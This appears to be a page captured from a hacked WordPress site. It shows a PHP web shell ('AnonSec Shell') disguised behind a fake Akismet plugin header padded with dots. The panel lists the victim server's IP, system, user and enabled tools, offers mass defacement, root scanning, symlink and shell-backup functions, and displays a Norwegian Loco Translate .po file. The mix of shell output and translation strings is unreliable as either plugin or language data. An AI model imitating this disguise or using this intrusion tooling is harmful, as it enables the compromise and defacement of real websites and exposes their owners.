#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/mosrembit/data/www/mosrembit.ru/wp-content/languages/plugins/loco-translate-nb_NO.po
# Translation of Plugins - Loco Translate - Stable (latest release) in Norwegian (Bokmål)
# This file is distributed under the same license as the Plugins - Loco Translate - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-12-02 21:45:16+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.3\n"
"Language: nb_NO\n"
"Project-Id-Version: Plugins - Loco Translate - Stable (latest release)\n"

#. translators: %s will be replaced with a PO file name
#: src/admin/init/InitPoController.php:385
msgid "Copy %s instead"
msgstr "Kopier %s istedet"

#: tpl/admin/init/init-copy.php:18
msgid "You can copy an existing PO file (recommended), or extract directly from source (advanced)"
msgstr "Du kan kopiere en eksisterende PO-fil (anbefalt) eller hente direkte fra kilde (avansert)"

#: src/admin/init/InitPoController.php:396
msgid "You're creating translations from a POT file"
msgstr "Du oppretter oversettelse fra en POT-fil"

#: src/admin/init/InitPoController.php:237
msgid "Copy PO file"
msgstr "Kopier PO-fil"

#: src/admin/DebugController.php:929
msgid "String debugger"
msgstr "Feilsøking av strenger"

#: src/admin/config/BaseController.php:22
msgid "System"
msgstr "System"

#: src/admin/bundle/ViewController.php:152
msgid "Custom translations may not work without System translations installed"
msgstr "Tilpassede oversettelser fungerer kanskje ikke uten Systemoversettelser installert"

#: tpl/admin/help/side-bar.php:6
msgid "Useful links:"
msgstr "Nyttige lenker:"

#: tpl/admin/bundle/setup.php:27
msgid "Current configuration as XML"
msgstr "Gjeldende oppsett som XML"

#: tpl/admin/bundle/inc-po-table.php:19
msgid "Strings"
msgstr "Strenger"

#. translators: Author credit: (1) Product name (2) version number, (3) author
#. name.
#: src/package/Header.php:89
msgid "\"%1$s\" %2$s by %3$s"
msgstr "\"%1$s\" %2$s av %3$s"

#: src/js/Strings.php:57
msgid "Check the translations marked with a warning sign"
msgstr "Sjekk oversettelsene merket med et varslingstegn"

#. translators: %s refers to a non-zero amount of errors detected. xgettext:
#. javascript-format
#: src/js/Strings.php:54
msgid "%s possible error detected"
msgid_plural "%s possible errors detected"
msgstr[0] "%s mulig feil oppdaget"
msgstr[1] "%s mulige feil oppdaget"

#. translators: Result of validation when all strings pass validation
#: src/js/Strings.php:50
msgid "No formatting errors detected"
msgstr "Ingen formateringsfeil oppdaget"

#. Translators: Button that validates current translation formatting
#: src/admin/file/EditController.php:224
msgctxt "Editor"
msgid "Check"
msgstr "Sjekk"

#. translators: %u is a number of files which were successfully deleted
#: src/admin/file/DeleteController.php:59
msgid "%u file deleted"
msgid_plural "%u files deleted"
msgstr[0] "%u fil slettet"
msgstr[1] "%u filer slettet"

#: src/admin/bundle/SetupController.php:253
msgid "This bundle doesn't declare a domain path. Add one via the Advanced tab if needed"
msgstr "Denne pakken spesifiserer ikke en domenemappe. Legg til en i Avansert-fanen om du trenger det"

#: src/admin/bundle/SetupController.php:250
msgid "The default \"languages\" domain path has been detected"
msgstr "Standard domenemappe for \"languages\" oppdaget"

#. Translators: %s will be replaced with a relative path like "/languages"
#: src/admin/bundle/SetupController.php:245
msgid "The domain path is declared by the author as \"%s\""
msgstr "Domenemappen er spesifisert av forfatteren som \"%s\""

#: src/admin/bundle/SetupController.php:239
msgid "This bundle does't declare a text domain; try configuring it in the Advanced tab"
msgstr "Denne pakken spesifiserer ikke en domenemappe; prøv å opprette en i Avansert-fanen"

#: src/admin/bundle/SetupController.php:235
msgid "This text domain is not in Loco Translate's bundle configuration"
msgstr "Dette tekstdomene er ikke i pakkeoppsettet til Loco Translate"

#. Translators: This warning is shown when a text domain has defaulted to same
#. as the folder name (or slug)
#: src/admin/bundle/SetupController.php:229
msgid "This plugin doesn't declare a text domain. It's assumed to be the same as the slug, but this could be wrong"
msgstr "Denne utvidelsen spesifiserer ikke en domenemappe. Det antas å være samme som utvidelsens slug, men det kan være feil"

#. Translators: %s will be replaced with a text domain, e.g. "loco-translate"
#: src/admin/bundle/SetupController.php:222
msgid "WordPress says the primary text domain is \"%s\""
msgstr "WordPress sier det primære tekstdomenet er \"%s\""

#. Translators: Shown when a PO file's Plural-Forms header has a different
#. formula from the Unicode CLDR rules
#: src/Locale.php:500
msgid "Plural forms differ from Loco Translate's built in rules for this language"
msgstr "Flertallsformer er ulik fra Loco Translates innebygde regler for dette språket"

#: src/js/Strings.php:197
msgid "Mismatching placeholder type; check against source text formatting"
msgstr "Ugyldig plassholder type; sjekk mot tekstformateringen i kilden"

#: src/js/Strings.php:186
msgid "Possible syntax error in string formatting"
msgstr "Mulig syntaksfeil i strengformatering"

#. translators: %s is the number of formatting arguments accepted by the source
#. text of a translation xgettext: javascript-format
#: src/js/Strings.php:194
msgid "Missing placeholders; source text formatting suggests at least %s"
msgstr "Manglende plassholdere; kildens tekstformatering foreslår minst %s"

#. translators: %s is the number of formatting arguments accepted by the source
#. text of a translation xgettext: javascript-format
#: src/js/Strings.php:190
msgid "Too many placeholders; source text formatting suggests a maximum of %s"
msgstr "For mange plassholdere kildens tekstformatering foreslår maksimalt %s"

#: tpl/admin/file/head.php:10
msgid "Edit file headers"
msgstr "Rediger filhodelinjer"

#: tpl/admin/file/conf.php:23
msgid "Relative path to template file"
msgstr "Relativ bane til malfil"

#: tpl/admin/file/conf.php:57 tpl/admin/file/head.php:34
msgid "Save"
msgstr "Lagre"

#: tpl/admin/file/conf.php:48 tpl/admin/init/init-po.php:149
msgid "Merge strings from related JSON files"
msgstr "Slå sammen strenger fra relaterte JSON-filer"

#. translators: Summary of translations copied from a PO file during Sync
#. xgettext: javascript-format
#: src/js/Strings.php:40
msgid "%s translation copied"
msgid_plural "%s translations copied"
msgstr[0] "%s oversettelser kopiert"
msgstr[1] "%s oversettelser kopiert"

#: src/admin/config/ApisController.php:76
msgid "API URL"
msgstr "API URL"

#. translators: Where %s is any number of strings
#. translators: Shows total string count at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:191 src/js/Strings.php:109
msgid "%s string"
msgid_plural "%s strings"
msgstr[0] "%s streng"
msgstr[1] "%s strenger"

#. translators: %s is the quantity of files which were successfully moved
#: src/admin/file/MoveController.php:87
msgid "%s file moved"
msgid_plural "%s files moved"
msgstr[0] "%s fil flyttet"
msgstr[1] "%s filer flyttet"

#: tpl/admin/file/info-pot.php:31
msgid "%s word"
msgid_plural "%s words"
msgstr[0] "%s ord"
msgstr[1] "%s ord"

#: src/gettext/Compiler.php:280
msgid "PO file saved and MO/JSON files compiled"
msgstr "PO-fil lagret og MO-/JSON-fil kompilert"

#. translators: %s refers to a JSON file which could not be compiled due to an
#. error
#: src/gettext/Compiler.php:148 src/gettext/Compiler.php:213
msgid "JSON compilation failed for %s"
msgstr "JSON-kompilering mislyktes for %s"

#: tpl/admin/config/version.php:74
msgid "Update Now"
msgstr "Oppdater nå"

#. translators: Where %s is the full version number of WordPress
#: tpl/admin/config/version.php:68
msgid "WordPress %s"
msgstr "WordPress %s"

#. translators: (1) Name of software, e.g. "WordPress" (2) Version number, e.g.
#. "5.6"
#: tpl/admin/config/version.php:53 tpl/admin/config/version.php:71
msgid "Your version of %1$s is out of date. We recommend you upgrade to at least v%2$s, but preferably to the latest stable version."
msgstr "Din versjon av %1$s veldig gammel. Vi anbefaler at du oppgraderer til minst v%2$s, men helst til den siste stabile versjonen."

#. translators: Where %s is the full version number of PHP
#: tpl/admin/config/version.php:49
msgid "PHP %s"
msgstr "PHP %s"

#: tpl/admin/config/settings.php:162
msgid "Delete redundant files"
msgstr "Slett overflødige filer"

#: tpl/admin/config/settings.php:156
msgid "Pretty formatting"
msgstr "Pen formatering"

#: tpl/admin/config/settings.php:145 tpl/admin/config/settings.php:151
msgid "Compiling JSON files"
msgstr "Kompilerer JSON-filer"

#: tpl/admin/init/upload.php:50
msgid "Your file must be named as shown above where %1$s is the language code, e.g. %2$s"
msgstr "Filen din må ha et navn vis tsom over hvor %1$s er språkkoden, f.eks. %2$s"

#: tpl/admin/init/upload.php:45
msgid "Upload PO file"
msgstr "Last opp PO-fil"

#. translators: Indicates that POT files are optional, which is not recommended
#: tpl/admin/config/settings.php:107
msgid "Sync with source when template missing"
msgstr "Synkroniser med kilden hvis malen mangler"

#: tpl/admin/config/settings.php:99
msgid "Fuzzy matching tolerance"
msgstr "Toleranse for uklar matching"

#: tpl/admin/config/settings.php:89 tpl/admin/config/settings.php:95
msgid "Syncing PO files"
msgstr "Synkroniserer PO-filer"

#: tpl/admin/help/side-bar.php:15
msgid "Info and tutorials"
msgstr "Info og veiledninger"

#: src/ajax/ApisController.php:30
msgid "Need a human?"
msgstr "Trenger du et menneske?"

#: src/ajax/UploadController.php:70
msgid "Your file is identical to the existing one"
msgstr "Din fil er identisk med den eksisterende"

#: src/admin/init/UploadController.php:52
msgid "Upload a translation file"
msgstr "Last opp en oversettelsesfil"

#: src/admin/init/UploadController.php:29 tpl/admin/init/upload.php:58
msgid "Upload"
msgstr "Last opp"

#: src/admin/bundle/ViewController.php:107
msgid "Upload PO"
msgstr "Last opp PO"

#. Translators: %s will be replaced with the name of a missing POT file
#: src/ajax/SyncController.php:55
msgid "Falling back to source extraction because %s is missing"
msgstr "Søker etter kilden fordi %s mangler"

#: tpl/admin/bundle/inc-po-table.php:63
msgid "Move"
msgstr "Flytt"

#: tpl/admin/config/prefs.php:29 tpl/admin/config/prefs.php:33
msgid "Restrict locales"
msgstr "Begrens språk"

#. Translators: Button that opens window for auto-translating
#: src/admin/file/EditController.php:222
msgctxt "Editor"
msgid "Auto"
msgstr "Auto"

#: src/js/Strings.php:171
msgctxt "Editor"
msgid "Suggest translation"
msgstr "Foreslå oversettelse"

#: src/js/Strings.php:168
msgctxt "Editor"
msgid "Toggle Fuzzy"
msgstr "Veksle uklar"

#: src/js/Strings.php:102
msgid "Keep this translation"
msgstr "Behold denne oversettelsen"

#: src/js/Strings.php:99
msgid "Loading suggestions"
msgstr "Laster inn forslag"

#: src/js/Strings.php:90
msgid "Suggested translations"
msgstr "Foreslåtte oversettelser"

#: src/js/Strings.php:87
msgid "Use this translation"
msgstr "Bruk denne oversettelsen"

#: src/js/Strings.php:84
msgid "Nothing needed updating"
msgstr "Intet trengte oppdatering"

#. translators: %s is the quantity of strings modified during a batch process
#. xgettext: javascript-format
#: src/js/Strings.php:81
msgid "%s string updated"
msgid_plural "%s strings updated"
msgstr[0] "%s streng oppdater"
msgstr[1] "%s strenger oppdatert"

#. translators: 1: Number of strings; 2: Service provider; e.g. "50 strings
#. translated via Google Translate" xgettext: javascript-format
#: src/js/Strings.php:77
msgid "%1$s string translated via %2$s"
msgid_plural "%1$s strings translated via %2$s"
msgstr[0] "%1$s streng oversatt via %2$s"
msgstr[1] "%1$s strenger oversatt via %2$s"

#. translators: %s is the quantity of strings left unprocessed after a job was
#. stopped prematurely xgettext: javascript-format
#: src/js/Strings.php:73
msgid "Translation job aborted with %s string remaining"
msgid_plural "Translation job aborted with %s strings remaining"
msgstr[0] "Oversettelsesjobb avbrutt med %s streng igjen"
msgstr[1] "Oversettelsesjobb avbrutt med %s strenger igjen"

#. translators: %s%% is a percentage, e.g. 50% xgettext: javascript-format
#: src/js/Strings.php:69
msgid "Translation progress %s%%"
msgstr "Fremdrift for oversettelsen %s%%"

#. translators: characters meaning individual unicode characters of source text
#. xgettext: javascript-format
#: src/js/Strings.php:65
msgid "%s characters will be sent for translation."
msgstr "%s tegn vil bli sendt til oversettelse."

#. translators: %s: the number of strings to be sent for translation xgettext:
#. javascript-format
#: src/js/Strings.php:61
msgid "%s unique source strings."
msgstr "%s unike kilde-strenger."

#. translators: Message appears after sync operation, where %s refers to a POT
#. file. xgettext: javascript-format
#: src/js/Strings.php:44
msgid "Strings up to date with %s"
msgstr "Strenger oppdatert med %s"

#. translators: Summary of existing translations where the source text has
#. changed slightly xgettext: javascript-format
#: src/js/Strings.php:36
msgid "%s string marked Fuzzy"
msgid_plural "%s strings marked Fuzzy"
msgstr[0] "%s streng merket uklar"
msgstr[1] "%s strenger merket uklare"

#: tpl/admin/config/apis.php:160
msgid "See full disclaimer"
msgstr "Se full ansvarsfraskrivelse"

#: tpl/admin/config/apis.php:159
msgid "Third party services are subject to their own terms of use and may incur costs from the provider"
msgstr "Tredjepartstjenester vil forholde seg til sine egne bruksformål og kan gjerne medføre kostnader fra utgiver"

#: tpl/admin/config/apis.php:157
msgid "Important"
msgstr "Viktig"

#: src/admin/config/ApisController.php:77
msgid "API region"
msgstr "API-region"

#: src/admin/config/ApisController.php:75
msgid "API key"
msgstr "API-nøkkel"

#: src/admin/config/ApisController.php:12
#: src/admin/config/BaseController.php:20
#: src/admin/config/BaseController.php:40 tpl/admin/help/tab-config-apis.php:2
msgid "API keys"
msgstr "API-nøkler"

#: tpl/ajax/modal-apis-empty.php:11
msgid "Add automatic translation services in the plugin settings."
msgstr "Legg til automatiske oversettelsestjenester i innstillingene for utvidelsen."

#: tpl/ajax/modal-apis-empty.php:9
msgid "No translation APIs configured"
msgstr "Ingen API for oversettelse satt opp"

#: tpl/ajax/modal-apis-batch.php:29
msgid "Mark new translations as Fuzzy"
msgstr "Merk nye oversettelser som uklare"

#: tpl/ajax/modal-apis-batch.php:23
msgid "Overwrite existing translations"
msgstr "Overskriv eksisterende oversettelser"

#: tpl/ajax/modal-apis-batch.php:10
msgid "Auto-translate this file"
msgstr "Auto-oversett denne filen"

#: src/admin/file/EditController.php:181
msgid "This is NOT a translation file. Manual editing of source strings is not recommended."
msgstr "Dette er IKKE en oversettelsesfil. Manuell redigering av kildestrenger er ikke anbefalt."

#: src/fs/FileWriter.php:324
msgid "Modification of POT (template) files is disallowed by the plugin settings"
msgstr "Endring av POT-(mal)filer er ikke tillatt i henhold til utvidelsens innstillinger"

#: tpl/admin/file/move-pot.php:14
msgid "Enter a new location for this file"
msgstr "Oppgi en ny plassering for denne filen"

#: tpl/admin/file/move.php:17
msgid "The following file will be moved/renamed to the new location:"
msgid_plural "The following files will be moved/renamed to the new location:"
msgstr[0] "Følgende fil vil bli flyttet/gitt nytt navn til ny lokasjon:"
msgstr[1] "Følgende filer vil bli flyttet/gitt nytt navn til ny lokasjon:"

#: tpl/admin/file/move.php:14
msgid "Confirm relocation"
msgstr "Bekreft omplassering"

#: tpl/admin/file/move-po.php:14
msgid "Choose a new location for these translations"
msgstr "Velg en ny plassering for disse oversettelsene"

#: tpl/admin/bundle/alias.php:14
msgid "This plugin doesn't have its own translation files, but can be translated in the default text domain"
msgstr "Denne utvidelsen har ikke sine egne oversettelsesfiler, men kan oversettelses i standard tekstdomene"

#: tpl/admin/config/settings.php:197
msgid "Editing of POT (template) files"
msgstr "Redigering av POT (mal)-filer"

#: tpl/admin/config/settings.php:81
msgid "Recommended"
msgstr "Anbefalt"

#: tpl/admin/config/settings.php:81
msgid "Enable Ajax file uploads"
msgstr "Slå på Ajax filopplastinger"

#: src/fs/FileWriter.php:249
msgid "Parent directory isn't writable"
msgstr "Modermappen er ikke skrivbar"

#: src/ajax/FsConnectController.php:160
msgid "This move operation requires permission"
msgstr "Denne flytteoperasjonen trenger tillatelse"

#: src/ajax/FsConnectController.php:127
msgid "This directory is managed by WordPress. Removed files may be restored during updates"
msgstr "Denne mappen tilhører WordPress. Fjernede filer kan bli lagt tilbake ved oppdateringer"

#. translators: Page title where %s is the name of a file to be moved
#: src/admin/file/MoveController.php:111 src/admin/file/MoveController.php:140
msgid "Move %s"
msgstr "Flytt %s"

#. translators: %s is the quantity of files which failed to be moved
#: src/admin/file/MoveController.php:92
msgid "%s file could not be moved"
msgid_plural "%s files could not be moved"
msgstr[0] "%s fil kunne ikke flyttes"
msgstr[1] "%s filer kunne ikke flyttes"

#: src/admin/file/BaseController.php:121
msgid "Relocate"
msgstr "Omplasser"

#: tpl/admin/file/move.php:24
msgid "Move files"
msgstr "Flytt filer"

#: tpl/admin/errors/file-sec.php:14
msgid "Access to this file is blocked for security reasons"
msgstr "Tilgang til denne filen er blokkert av sikkerhetsgrunner"

#: tpl/admin/errors/file-sec.php:11
msgid "File access disallowed"
msgstr "Ingen tilgang til filen"

#: src/admin/bundle/ViewController.php:116
msgid "View template"
msgstr "Vis mal"

#: tpl/admin/config/version.php:18 tpl/admin/config/version.php:75
msgid "Install manually"
msgstr "Installer manuelt"

#: tpl/admin/config/version.php:14
msgid "A newer version of Loco Translate is available for download"
msgstr "En nyere versjon av Loco Translate er tilgjengelig for nedlasting"

#: tpl/admin/help/side-bar.php:9
msgid "Official plugin page"
msgstr "Offisiell side for utvidelsen"

#: tpl/admin/common/inc-fsconn.php:28
msgid "File is protected by the bundle configuration"
msgstr "Filen er beskyttet av konfigurasjonen for bunten"

#: tpl/admin/common/inc-fsconn.php:27
msgid "Read only"
msgstr "Kun lesing"

#: tpl/admin/config/settings.php:43
msgid "Scan JavaScript files with extensions:"
msgstr "Skann JavaScript-filer med endelser:"

#: src/admin/init/InitPoController.php:293
msgid "Assign template"
msgstr "Tilknytt mal"

#: src/js/Strings.php:165
msgctxt "Editor"
msgid "Translated"
msgstr "Oversatt"

#: src/js/Strings.php:162
msgctxt "Editor"
msgid "Untranslated"
msgstr "Ikke oversatt"

#. translators: %s will be replaced with a URL which may change without
#. affecting the translation.
#: src/hooks/AdminHooks.php:92
msgid "Administrators and auditors may wish to review Loco's <a href=\"%s\">plugin privacy notice</a>."
msgstr "Administratorer og auditører kan ønske å gjennomgå Loco sin <a href=\"%s\">utvidelses personvernvarsel</a>."

#: src/hooks/AdminHooks.php:89
msgid "This plugin doesn't collect any data from public website visitors."
msgstr "Denne utvidelsen samler ikke data fra besøkende på nettstedet."

#: tpl/admin/bundle/inc-po-table.php:54 tpl/admin/bundle/locale.php:66
msgid "View"
msgstr "Se"

#. translators: %s will be replaced with the full name of the user profile's
#. admin language
#: tpl/admin/root.php:17
msgid "Your admin language is %s."
msgstr "Ditt administratorspråk er %s."

#. translators: %s will be replaced with the full name of the site language
#: tpl/admin/root.php:14
msgid "The language of this site is %s."
msgstr "Språket på dette nettstedet er %s."

#: tpl/admin/list/locales.php:25
msgid "Site language"
msgstr "Nettstedspråk"

#: tpl/admin/list/locales.php:22
msgid "Files found"
msgstr "Filer funnet"

#: tpl/admin/list/locales.php:16
msgid "Locale code"
msgstr "Landskode"

#: tpl/admin/list/locales.php:13
msgid "Locale name"
msgstr "Landsnavn"

#: tpl/admin/file/info.php:110
msgid "Files in this location can be modified or deleted by WordPress automatic updates"
msgstr "Filer på denne plasseringen kan bli modifisert eller slettet av WordPress automatiske oppdateringer"

#: tpl/admin/file/info.php:107
msgid "WordPress updates"
msgstr "WordPress Oppdateringer"

#: tpl/admin/file/info-mo.php:18 tpl/admin/file/info-po.php:24
#: tpl/admin/file/info-pot.php:21
msgid "File size"
msgstr "Filestørrelse"

#: tpl/admin/file/diff.php:17
msgctxt "Button label for a next revision"
msgid "Next"
msgstr "Neste"

#: tpl/admin/file/diff.php:14
msgctxt "Button label for a previous revision"
msgid "Previous"
msgstr "Forrige"

#: tpl/admin/file/diff.php:6
msgctxt "revision date short format"
msgid "j M @ H:i"
msgstr "j M @ H:i"

#: tpl/admin/errors/no-locale.php:11
msgid "No files found for this language"
msgstr "Ingen filer funnet for dette språket"

#: tpl/admin/errors/no-backups.php:18
msgid "File backups are disabled in your plugin settings"
msgstr "Sikkerhetskopiering av filer er deaktivert i dine innstillinger"

#: tpl/admin/errors/no-backups.php:16
msgid "Backup files will be written when you save translations from Loco Translate editor"
msgstr "Sikkerhetsfiler vil bli skrevet når du lagrer oversettelser fra Loco Translate redigeringverktøyet"

#: tpl/admin/errors/no-backups.php:12
msgid "No previous file revisions"
msgstr "Ingen tidligere flirevisjoner"

#: src/admin/config/SettingsController.php:68
msgid "Disallow"
msgstr "Forby"

#: src/admin/config/SettingsController.php:67
msgid "Allow (with warning)"
msgstr "Tillat (med advarsel)"

#: src/admin/config/SettingsController.php:66
msgid "Allow"
msgstr "Tillat"

#: tpl/admin/config/settings.php:187
msgid "Modification of installed files"
msgstr "Modifisering av installerte filer"

#: tpl/admin/config/settings.php:181
msgid "Save credentials in session"
msgstr "Lagre legitimasjon i økt"

#: tpl/admin/config/settings.php:170 tpl/admin/config/settings.php:176
msgid "File system access"
msgstr "Filsystemtilgang"

#: tpl/admin/common/inc-fsconn.php:56
msgid "Click \"Connect\" to authenticate with the server"
msgstr "Klikk \"Koble til\" for å autentisere med tjeneren"

#. translators: Page title for installed languages page
#: src/mvc/AdminRouter.php:61
msgid "Languages &lsaquo; Loco"
msgstr "Språk &lsaquo; Loco"

#: src/mvc/AdminRouter.php:59
msgid "Languages"
msgstr "Språk"

#: src/fs/FileWriter.php:313
msgid "Modification of installed files is disallowed by the plugin settings"
msgstr "Modifisering av installerte filer tillates ikke av utvidelsesinnstillingene."

#. translators: Where %s is a file name
#: src/ajax/DiffController.php:47
msgid "Revisions are identical, you can delete %s"
msgstr "Revisjonene er identiske, du kan slette %s"

#. translators: Where %s is the name of the invalid POT file
#: src/admin/file/EditController.php:138 src/ajax/SyncController.php:72
msgid "Translation template is invalid (%s)"
msgstr "Oversettelsesmalen er ugyldig (%s)"

#. translators: %s is a file name to be rolled back to a previous version.
#. translators: Page title where %s refers to a file name
#: src/admin/file/DiffController.php:59 src/admin/file/DiffController.php:78
msgid "Restore %s"
msgstr "Gjenopprett %s"

#: src/admin/file/DiffController.php:35
msgid "File restored"
msgstr "Fil gjenopprettet"

#: src/admin/file/BaseController.php:120 tpl/admin/file/diff.php:31
msgid "Restore"
msgstr "Gjenopprett"

#: src/admin/bundle/LocaleController.php:145
msgid "See all core translations"
msgstr "Se alle kjerne oversettelser."

#: src/admin/bundle/LocaleController.php:138
#: src/admin/file/EditController.php:132 src/admin/file/EditController.php:183
#: tpl/admin/common/inc-fsconn.php:16 tpl/admin/common/inc-fsconn.php:41
#: tpl/admin/config/apis.php:167 tpl/admin/config/prefs.php:45
#: tpl/admin/config/settings.php:234 tpl/admin/errors/no-backups.php:22
msgid "Documentation"
msgstr "Dokumentasjon"

#: src/admin/bundle/LocaleController.php:137
msgid "No core translation files are installed for this language"
msgstr "Ingen kjerneoversettelsefiler er installert for dette språket"

#: src/ajax/FsConnectController.php:130
msgid "Changes to this file may be overwritten or deleted when you update WordPress"
msgstr "Endringer i denne filen kan bli overskrevet eller slettet når du oppdaterer WordPress"

#: src/ajax/FsConnectController.php:124
msgid "This directory is managed by WordPress, be careful what you delete"
msgstr "Denne mappen er administrert av WordPress, vær forsiktig med hva du sletter"

#: src/ajax/FsConnectController.php:121
msgid "This file may be overwritten or deleted when you update WordPress"
msgstr "Denne filen kan bli overskrevet eller sletter når du oppdaterer WordPress"

#: src/ajax/FsConnectController.php:163
msgid "Saving this file requires permission"
msgstr "Lagring av denne filen krever tillatelse"

#: src/ajax/FsConnectController.php:157
msgid "Deleting this file requires permission"
msgstr "Sletting av denne filen krever tillatelse"

#: src/ajax/FsConnectController.php:154
msgid "Creating this file requires permission"
msgstr "Oppretting av denne filen krever tillatelse"

#. Translators: Plural category for zero quantity
#: src/Locale.php:383
msgctxt "Plural category"
msgid "Zero"
msgstr "Ingen"

#: src/admin/init/InitPoController.php:377 tpl/admin/file/info.php:113
msgid "What's this?"
msgstr "Hva er dette?"

#. Translators: Where %s is the size of a file
#: tpl/admin/init/init-pot.php:18
msgid "largest is %s"
msgstr "størst er %s"

#: tpl/admin/config/settings.php:68
msgid "Maximum line length (zero disables wrapping)"
msgstr "Maksimum linjelengde (0 deaktiverer bryting av linjer)"

#. Translators: (1) Number of files (2) Maximum size of file that will be
#. included (3) Size of the largest encountered
#: src/ajax/SyncController.php:99
msgid "%1$s file has been skipped because it's %3$s. (Max is %2$s). Check all strings are present before saving."
msgid_plural "%1$s files over %2$s have been skipped. (Largest is %3$s). Check all strings are present before saving."
msgstr[0] "%1$s fil ble hoppet over fordi den er %3$s. (Maksimum er %2$s). Kontroller at alle strenger er tilstede før lagring."
msgstr[1] "%1$s filer ble hoppet over (den største er %3$s. (Maksimum er %2$s). Kontroller at alle strenger er tilstede før lagring."

#: src/admin/bundle/ConfController.php:92
msgid "Child theme declares the same Text Domain as the parent theme"
msgstr "Dattertemaet erklærer det samme tekstdomenet som foreldertemaet"

#. Translators: General plural category not covered by other forms
#: src/Locale.php:393
msgctxt "Plural category"
msgid "Other"
msgstr "Andre"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:391
msgctxt "Plural category"
msgid "Many"
msgstr "Mange"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:389
msgctxt "Plural category"
msgid "Few"
msgstr "Få"

#. Translators: Plural category used in some multi-plural languages
#: src/Locale.php:387
msgctxt "Plural category"
msgid "Two"
msgstr "To"

#. Translators: Plural category for singular quantity
#: src/Locale.php:385
msgctxt "Plural category"
msgid "One"
msgstr "Én"

#: tpl/admin/config/version.php:28
msgid "You're running a development snapshot of Loco Translate"
msgstr "Du kjører en utviklingsversjon av Loco Translate"

#. Author URI of the plugin
#: loco.php
msgid "https://localise.biz/wordpress/plugin"
msgstr "https://localise.biz/wordpress/plugin"

#. Description of the plugin
#: loco.php
msgid "Translate themes and plugins directly in WordPress"
msgstr "Oversett temaer og utvidelser direkte i WordPress"

#: src/admin/bundle/LocaleController.php:155 tpl/admin/root.php:58
msgid "See all plugins"
msgstr "Se alle utvidelser"

